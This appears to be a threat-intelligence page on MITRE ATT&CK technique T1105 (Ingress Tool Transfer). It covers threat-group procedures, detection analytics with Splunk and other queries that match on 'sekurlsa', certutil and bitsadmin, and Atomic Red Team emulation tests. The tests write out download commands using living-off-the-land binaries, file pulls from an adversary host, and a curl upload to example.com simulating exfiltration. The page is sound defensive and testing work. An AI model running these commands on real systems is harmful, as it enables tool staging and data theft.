tfMITRE ATT&CK technique

Ingress Tool Transfer T1105

Tactic: Command and Control
Platforms: ESXi, Linux, macOS, Network Devices, Windows
Version: 2.6
Created: 31 May 2017
Last modified: 12 May 2026
Contributors: Alain Homewood; Jeremy Hedges; Joe Wise; John Page (aka hyp3rlinx), ApparitionSec; Mark Wee; Peter Oakes; Selena Larson, @selenalarson; Shailesh Tiwary (Indian Army); The DFIR Report; Don Le, Stifel Financial

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 1%

Threat groups100th percentile · 100% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 1%

Campaigns100th percentile · 100% of ATT&CK techniques have this many campaigns recorded or fewer.

403

Tools & malwareTop 1%

Tools & malware100th percentile · 100% of ATT&CK techniques have this many tools implementing them or fewer.

129

Detection rulesTop 1%

Detection rules99th percentile · 99% of ATT&CK techniques have this many detection rules written or fewer.

Ingress Tool Transfer MITRE reference T1105

Top 1%of all ATT&CK techniques for number of groups

88 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

ShinyHuntersG1057 ↗

Has deployed custom scripts to targeted systems from customized MeshAgents in their staging environment.1

created 2026-07-291 referenceaka UNC6240

TeamPCPG1056 ↗

Has modified legitimate software binaries to retrieve secondary payloads from C2.1 2

created 2026-07-162 referencesaka PCPCat

VOID MANTICOREG1055 ↗

Has deployed additional payloads from dedicated C2 servers.1 2 3 VOID MANTICORE has also downloaded legitimate tools and software from publicly available services.1 VOID MANTICORE had utilized VeraCrypt a legitimate disk encrypting utility that was downloaded directly from the website.1

created 2026-04-205 referencesaka COBALT MYSTIQUE

Medusa GroupG1051 ↗

Has leveraged certutil, PowerShell, and Windows Command to download additional tools to include RMM services.1 Medusa Group has also engaged in “Bring Your Own Vulnerable Driver” (BYOVD) and downloaded vulnerable or signed drivers to the victim environment to disable security tools.1 2

created 2025-10-153 references

Storm-1811G1046 ↗

Has used scripted cURL commands, BITSAdmin, and other mechanisms to retrieve follow-on batch scripts and tools for execution on victim devices.1 2 3

created 2025-03-143 references

BlackByteG1043 ↗

Has transferred tools such as Cobalt Strike to victim environments from file sharing and hosting websites.1

created 2024-12-161 referenceaka Hecamede

All 88 groups for this technique · 6 newest in this preview

Offense vs defense T1105

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 28Sigma rules (cumulative) · 87Splunk ESCU (cumulative) · 42

first rule: 2017 Q1 · 28 of 29 campaigns plotted (Night Dragon (dated 2009) falls before the 2014 window)

Ingress Tool Transfer detection strategy DET0060

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Ingress Tool Transfers via Behavioral Chain

Enterprise

5 platforms

AN0165 · Windows

Unusual or uncommon processes initiate network connections to external destinations followed by file creation (tools downloaded).

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcessName	Tune for known good updaters (e.g., ChromeUpdate, OneDrive)
DestinationIPCategory	Allow filtering by internal vs external IP blocks
FilePathRegex	Focus on uncommon file drop paths (e.g., C:\Users\Public\)

AN0166 · Linux

Shell-based tools (curl, wget, scp) initiate connections to external domains followed by creation of executable files on disk.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File CreationDC0039	auditd:SYSCALL	file creation/modification
Command ExecutionDC0064	auditd:SYSCALL	connect, execve, write
Network Traffic FlowDC0078	iptables:LOG	TCP connections

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ToolName	Match on curl, wget, rsync, etc. based on environment
DownloadExtension	Tunable filter to limit to suspicious file types (.sh, .bin, .elf)

AN0167 · macOS

Process execution of curl or wget followed by a network connection and a file created in temporary or user-specific directories.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:endpointsecurity	ES_EVENT_TYPE_NOTIFY_EXEC
File CreationDC0039	macos:unifiedlog	file write/create
Network Connection CreationDC0082	macos:unifiedlog	connection open

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DirectoryTargeted	Restrict to high-risk directories like /Users/Shared, /tmp/
ProcessPath	May tune based on custom tooling or MDM activity

AN0168 · ESXi

Command line interface or vCLI triggers remote transfer using wget or curl, writing files into datastore paths or local tmp directories.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File CreationDC0039	esxi:vmkernel	file write
Command ExecutionDC0064	esxi:hostd	command execution

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ToolName	Tune for wget, curl, netcat, and scripting languages in use
DatastorePath	Filter or prioritize specific paths (e.g., /vmfs/volumes/)

AN0169 · Network Devices

Network device logs show anomalous inbound file transfers or uncharacteristic flows with high payload volume to network devices with storage or automation hooks.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File CreationDC0039	snmp:syslog	firmware write/log event
Network Traffic FlowDC0078	NSM:Flow	connection metadata

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
PayloadVolumeThreshold	Tune based on expected update size vs anomalous bulk data transfers
ProtocolUsed	Flag unexpected protocols like TFTP, FTP, HTTP

4 analytics

Malicious actors may rename built-in commands or external tools, such as those provided by SysInternals, to better blend in with the environment. In those cases, the file path name is arbitrary and may blend in well with the background. If the arguments are closely inspected, it may be possible to infer what tools are running and understand what an adversary is doing. When any legitimate software shares the same command lines, it must be whitelisted according to the expected parameters.

TypeTTPCoverageModerateSubmitted2013

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	command_line
process	create	exe

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

Identify process launches that contain substrings that belong to known tools and do not match the expected process names. These will help to indicate instances of tools that have been renamed.

process = search Process:Create
port_fwd = filter process where (command_line match "-R .* -pw")
scp = filter process where (command_line match "-pw .* .* .*@.*"
mimikatz = filter process where (command_line match "sekurlsa")
rar = filter process where (command_line match " -hp ")
archive = filter process where (command_line match ".* a .*")
ip_addr = filter process where (command_line match \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})

output port_fwd, scp, mimikatz, rar, archive, ip_addr

Splunk version of the above pseudocode, excluding the IP address search.

index=__your_sysmon_index__ EventCode=1 (CommandLine="* -R * -pw*" OR CommandLine="* -pw * *@*" OR CommandLine="*sekurlsa*" OR CommandLine="* -hp *" OR CommandLine="* a *")

Splunk version of the above pseudocode, solely for the IP address search. Note that this will likely result in many false positives, since things like software version numbers can also be valid IPv4 addresses.

index=__your_sysmon_index__ EventCode=1 |regex CommandLine=".*\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}\b.*"

EQL version of the above pseudocode, excluding the IP address search.

process where subtype.create and
  (command_line == "* -R * -pw*" or command_line == "* -pw * *@*" or command_line == "*sekurlsa*" or command_line == "* -hp *" or command_line == "* a *")

DNIF version of the above pseudocode.

_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $Process=regex(.*(\-r.*\-pw|\-pw.*\@|sekurlsa|\-hp| a |\\d\{1\,3\}\\\.\\d\{1\,3\}\\\.\\d\{1\,3\}).*)i limit 100

LogPoint version of the above pseudocode.

norm_id=WindowsSysmon event_id=1 (command="* -R * -pw*" OR command="* -pw * *@*" OR command="*sekurlsa*" OR command="* -hp *" OR command="* a *")

Unit tests

CAR’s own validation procedures for this analytic.

Download and run Putty from the command line to connect to an SSH server using remote port forwarding. Note that this requires specifying your remote system password on the command line, where it will be logged and visible. It is highly recommended that you specify an incorrect password and not complete the login, or use a temporary password.

["putty.exe -pw <password> -R <port>:<host> <user>@<host>"]

Download 7zip or other archiving software you plan to monitor. Create an innocuous text file for testing, or substitute an existing file.

["7z.exe a test.zip test.txt"]

The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe using the transfer parameter to download a remote object. In addition, look for download or upload on the command-line, the switches are not required to perform a transfer. Capture any files downloaded. Review the reputation of the IP or domain used. Typically once executed, a follow on command will be used to execute the dropped file. Note that the network connection or file modification events related will not spawn or create from bitsadmin.exe, but the artifacts will appear in a parallel process of svchost.exe with a command-line similar to svchost.exe -k netsvcs -s BITS. It's important to review all parallel and child processes to capture any behaviors and artifacts. In some suspicious and malicious instances, BITS jobs will be created. You can use bitsadmin /list /verbose to list out the jobs during investigation.

TypeTTPCoverageModerateSubmitted2021

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

Pseudocode implementation of the Splunk search below

processes = search Process:Create
bitsadmin_commands = filter processes where (
  exe ="C:\Windows\System32\bitsadmin.exe" AND command_line = *transfer*)
output bitsadmin_commands

To successfully implement this search you need to be ingesting information on process that include the name of the process responsible for the changes from your endpoints into the Endpoint datamodel in the Processes node.

| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=bitsadmin.exe Processes.process=*transfer* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id

Unit tests

CAR’s own validation procedures for this analytic.

Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1197/atomic_red_team/windows-sysmon.log) using the Splunk attack range with the commands below

["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]

execute the atomic test [T1197](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1197) against a Windows target.

["Invoke-AtomicTest T1197"]

Certutil.exe may download a file from a remote destination using -urlcache. This behavior does require a URL to be passed on the command-line. In addition, -f (force) and -split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. However, it is uncommon for certutil.exe to write files to world writeable paths.\ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question.

TypeTTPCoverageModerateSubmitted2021

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

Pseudocode implementation of the Splunk search below

processes = search Process:Create
certutil_downloads = filter processes where (
  exe ="C:\Windows\System32\certutil.exe" AND command_line = *urlcache* AND command_line = *split*)
output certutil_downloads

| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process=*urlcache* Processes.process=*split* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id

Unit tests

CAR’s own validation procedures for this analytic.

Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon.log) using the Splunk attack range with the commands below

["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]

execute the atomic test [T1105](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1105) against a Windows target.

["Invoke-AtomicTest T1105"]

Certutil.exe may download a file from a remote destination using -VerifyCtl. This behavior does require a URL to be passed on the command-line. In addition, -f (force) and -split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. \ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question. Using -VerifyCtl, the file will either be written to the current working directory or %APPDATA%\..\LocalLow\Microsoft\CryptnetUrlCache\Content\<hash>.

TypeTTPCoverageModerateSubmitted2021

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

Pseudocode implementation of the Splunk search below

processes = search Process:Create
certutil_downloads = filter processes where (
  exe = "C:\Windows\System32\certutil.exe" AND command_line = *verifyctl* AND command_line = *split*)
output certutil_downloads

| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process=*verifyctl* Processes.process=*split* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id

Unit tests

CAR’s own validation procedures for this analytic.

["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]

execute the atomic test [T1105](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1105) against a Windows target.

["Invoke-AtomicTest T1105"]

Tests39Executorscmd 18 · PowerShell 11 · sh 8 · bash 2Need elevation10 of 39Have prerequisites20Have cleanup26Platformslinux, macos, windows, containers

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 rsync remote file copy (push) linux, macos sh Required 1 —

Utilize rsync to perform a remote file copy (push)

Input arguments

Name	Type	Default	Description
username	string	victim	User account to authenticate on remote host
local_path	path	/tmp/adversary-rsync/	Path of folder to copy
remote_host	string	victim-host	Remote host to copy toward
remote_path	path	/tmp/victim-files	Remote path to receive rsync

Attack command

rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}

Prerequisite

rsync must be installed on the machine

Check

if [ -x "$(command -v rsync)" ]; then exit 0; else exit 1; fi

Satisfy

(pkg install -y rsync)||(sudo apt-get -y install rsync)

GUID5c4acded-ccc7-408b-a357-ab80a874c24f

02 rsync remote file copy (pull) linux, macos sh — 1 —

Utilize rsync to perform a remote file copy (pull)

Input arguments

Name	Type	Default	Description
username	string	adversary	User account to authenticate on remote host
local_path	path	/tmp/victim-files	Local path to receive rsync
remote_host	string	adversary-host	Remote host to copy from
remote_path	path	/tmp/adversary-rsync/	Path of folder to copy

Attack command

rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}

Prerequisite

rsync must be installed on the machine

Check

if [ -x "$(command -v rsync)" ]; then exit 0; else exit 1; fi

Satisfy

(pkg install -y rsync)||(sudo apt-get -y install rsync)

GUIDe431d442-cd32-4bad-86cb-bcaf9aae7d5f

03 scp remote file copy (push) linux, macos sh — — —

Utilize scp to perform a remote file copy (push)

Input arguments

Name	Type	Default	Description
username	string	victim	User account to authenticate on remote host
local_file	path	/tmp/adversary-scp	Path of file to copy
remote_host	string	victim-host	Remote host to copy toward
remote_path	path	/tmp/victim-files/	Remote path to receive scp

Attack command

scp #{local_file} #{username}@#{remote_host}:#{remote_path}

GUIDaf6b0802-5bcb-48be-ad9f-95be08fcc023

04 scp remote file copy (pull) linux, macos sh — — —

Utilize scp to perform a remote file copy (pull)

Input arguments

Name	Type	Default	Description
username	string	adversary	User account to authenticate on remote host
local_path	path	/tmp/victim-files/	Local path to receive scp
remote_file	path	/tmp/adversary-scp	Path of file to copy
remote_host	string	adversary-host	Remote host to copy from

Attack command

scp #{username}@#{remote_host}:#{remote_file} #{local_path}

GUID94cd9dfc-7e85-4c4e-bc83-0c63d419e858

05 sftp remote file copy (push) linux, macos bash — — —

Utilize sftp to perform a remote file copy (push)

Input arguments

Name	Type	Default	Description
username	string	victim	User account to authenticate on remote host
local_file	path	/tmp/adversary-sftp	Path of file to copy
remote_host	string	victim-host	Remote host to copy toward
remote_path	path	/tmp/victim-files/	Remote path to receive sftp

Attack command

sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'

GUIDccce7dc1-48b4-4ba7-a9ec-ba46be3e556e

06 sftp remote file copy (pull) linux, macos sh — — —

Utilize sftp to perform a remote file copy (pull)

Input arguments

Name	Type	Default	Description
username	string	adversary	User account to authenticate on remote host
local_path	path	/tmp/victim-files/	Local path to receive sftp
remote_file	path	/tmp/adversary-sftp	Path of file to copy
remote_host	string	adversary-host	Remote host to copy from

Attack command

sftp #{username}@#{remote_host}:#{remote_file} #{local_path}

GUIDaf3762ef-5d55-4b09-a160-f702f4e3f48b

07 certutil download (urlcache) windows cmd — — Yes

Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!

Input arguments

Name	Type	Default	Description
local_path	path	Atomic-license.txt	Local path to place file
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL of file to copy

Attack command

cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}

Cleanup command

del #{local_path} >nul 2>&1

GUID13f08aea-71d8-428d-96ea-fbd6292bc54e

08 certutil download (verifyctl) windows PowerShell — — Yes

Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!

Input arguments

Name	Type	Default	Description
local_path	path	Atomic-license.txt	Local path to place file
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL of file to copy

Attack command

$datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }

Cleanup command

Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction Ignore

GUIDd3a349b6-5e1a-4690-9314-5074690e4d4f

09 Windows - BITSAdmin BITS Download windows cmd — — Yes

This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. This technique is used by Qbot malware to download payloads.

Input arguments

Name	Type	Default	Description
local_path	path	%temp%\Atomic-license.txt	Local path to place file
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL of file to copy
bits_job_name	string	qcxjb7	Name of the created BITS job

Attack command

C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}

Cleanup command

del #{local_path} >nul 2>&1

GUID011641d5-a9d1-43c3-aa7c-ca2b8d23af03

10 Windows - PowerShell Download windows PowerShell — — Yes

This test uses PowerShell to download a payload. This technique is used by multiple adversaries and malware families.

Input arguments

Name	Type	Default	Description
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL of file to copy
destination_path	path	$env:TEMP\Atomic-license.txt	Destination path to file

Attack command

(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")

Cleanup command

Remove-Item #{destination_path} -Force -ErrorAction Ignore

GUID11b35a0f-0398-4c27-af08-ba7ef45ad284

11 OSTAP Worming Activity windows cmd Required — —

OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.

Input arguments

Name	Type	Default	Description
destination_path	string	\\localhost\C$	Path to create remote file at. Default is local admin share.

Attack command

pushd #{destination_path}
echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
CScript.exe AtomicTestT1105.js //E:JScript
del AtomicTestT1105.js /Q >nul 2>&1
del AtomicTestFileT1105.js /Q >nul 2>&1
popd

GUID6614747d-bb0a-492d-b6a5-8c21a037e1ef

12 svchost writing a file to a UNC path windows cmd Required — Yes

svchost.exe writing a non-Microsoft Office file to a file with a UNC path. Upon successful execution, this will rename cmd.exe as svchost.exe and move it to c:\, then execute svchost.exe with output to a txt file.

Attack command

copy C:\Windows\System32\cmd.exe C:\svchost.exe
C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt

Cleanup command

del C:\T1105.txt >nul 2>&1
del C:\\svchost.exe >nul 2>&1

GUIDcb6e58d2-a3bc-479e-b8d4-eb2e3e0823f8

13 Download a File with Windows Defender MpCmdRun.exe windows cmd — 1 Yes

Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed). The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file. By default, the test downloads the Atomic Red Team license file to the temp directory. More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/

Input arguments

Name	Type	Default	Description
local_path	path	%temp%\Atomic-license.txt	Location to save downloaded file
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL of file to download

Attack command

cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}

Cleanup command

del #{local_path} >nul 2>&1
del %temp%\MpCmdRun.log >nul 2>&1

Prerequisite

Must have a Windows Defender version with MpCmdRun.exe installed

Check

cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe /?  >nul 2>&1

Satisfy

Echo "A version of Windows Defender with MpCmdRun.exe must be installed manually"

GUIDa6dedef5-dda4-460a-b24b-35fcfbff21e9

14 whois file download linux, macos sh — 1 Yes

Download a remote file using the whois utility

Input arguments

Name	Type	Default	Description
query	string	Hello from Atomic Red Team test T1105	Query to send to remote server
timeout	integer	1	Timeout period before ending process (seconds)
output_file	path	/tmp/T1105.whois.out	Path of file to save output to
remote_host	string	localhost	Remote hostname or IP address
remote_port	integer	8443	Remote port to connect to

Attack command

timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{query}" > #{output_file}

Cleanup command

rm -f #{output_file}

Prerequisite

The whois and timeout commands must be present

Check

which whois && which timeout

Satisfy

echo "Please install timeout and the whois package"

GUID2c0918b0-02be-4c2f-94e7-85986b4e399c

15 File Download via PowerShell windows PowerShell — — —

Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.

Input arguments

Name	Type	Default	Description
output_file	string	LICENSE.txt	File to write to
target_remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/4042cb3433bce024e304500dcfe3c5590571573a/LICENSE.txt	File to download

Attack command

(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}

GUIDc781263d-b5ce-45f4-9905-1bc29aca7ed1

16 File download with finger.exe on Windows windows cmd — — —

Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server. Because this is being tested on the localhost, you should not be expecting a successful connection https://www.exploit-db.com/exploits/48815 https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/

Input arguments

Name	Type	Default	Description
remote_host	string	localhost	Remote hostname or IP address

Attack command

finger base64_filedata@#{remote_host}

GUID81d92276-e7a0-40ad-a36e-56f348693cab

17 Download a file with IMEWDBLD.exe windows PowerShell — — Yes

Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>. Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.

Input arguments

Name	Type	Default	Description
file_name	string	T1105	Name of the file to be downloaded without extension.
remote_url	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml	Location of file to be downloaded.

Attack command

$imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
& $imewdbled #{remote_url}

Cleanup command

$inetcache = $env:LOCALAPPDATA + "\Microsoft\Windows\INetCache\" 
$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue)
if("" -ne "$file_to_be_removed") { Remove-Item "$file_to_be_removed" -ErrorAction Ignore }

GUIDba3bf5d7-2672-4efb-8184-565448203b31

18 Curl Download File windows cmd — 1 Yes

The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior. Expected output will include whether the file downloaded successfully or not.

Input arguments

Name	Type	Default	Description
curl_path	path	C:\Windows\System32\Curl.exe	path to curl.exe
file_download	string	https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll	File to download

Attack command

#{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll
#{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll
#{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll
#{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll

Cleanup command

del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\programdata\allthethingsx64.dll >nul 2>&1
del %Temp%\allthethingsx64.dll >nul 2>&1

Prerequisite

Curl must be installed on system.

Check

if (Test-Path #{curl_path}) {exit 0} else {exit 1}

Satisfy

Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl"
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl"
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"

GUID5aec1a51-87db-4b7b-adab-125617eec151

19 Curl Upload File windows cmd — 2 —

The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration Expected output will include whether the file uploaded successfully or not.

Input arguments

Name	Type	Default	Description
curl_path	path	C:\Windows\System32\Curl.exe	path to curl.exe
file_path	string	c:\temp\atomictestfile.txt	File to upload
remote_destination	string	www.example.com	Remote destination

Attack command

#{curl_path} -T #{file_path} #{remote_destination}
#{curl_path} --upload-file #{file_path} #{remote_destination}
#{curl_path} -d #{file_path} #{remote_destination}
#{curl_path} --data #{file_path} #{remote_destination}

Prerequisite

Curl must be installed on system.

Check

if (Test-Path #{curl_path}) {exit 0} else {exit 1}

Satisfy

Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile PathToAtomicsFolder\..\ExternalPayloads\curl.zip
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl"
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl"
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"

Prerequisite

A file must be created to upload

Check

if (Test-Path #{file_path}) {exit 0} else {exit 1}

Satisfy

echo "This is an Atomic Test File" > #{file_path}

GUID4e078cea-d68c-46e0-aaa0-ebb0c5025128

20 Download a file with Microsoft Connection Manager Auto-Download windows cmd — 1 Yes

Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user. Upon successful execution the test will open calculator and Notepad executable for 10 seconds. reference: https://twitter.com/ElliotKillick/status/1455897435063074824 https://github.com/LOLBAS-Project/LOLBAS/pull/151 https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/ https://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html

Input arguments

Name	Type	Default	Description
Path_to_file	path	PathToAtomicsFolder\T1105\src\T1105.bat	Path to the Batch script

Attack command

"#{Path_to_file}" 1>NUL

Cleanup command

del /f/s/q %temp%\T1105 >nul 2>&1
rmdir /s/q %temp%\T1105 >nul 2>&1

Prerequisite

#{Path_to_file} must exist on system.

Check

if (Test-Path "#{Path_to_file}") {exit 0} else {exit 1}

Satisfy

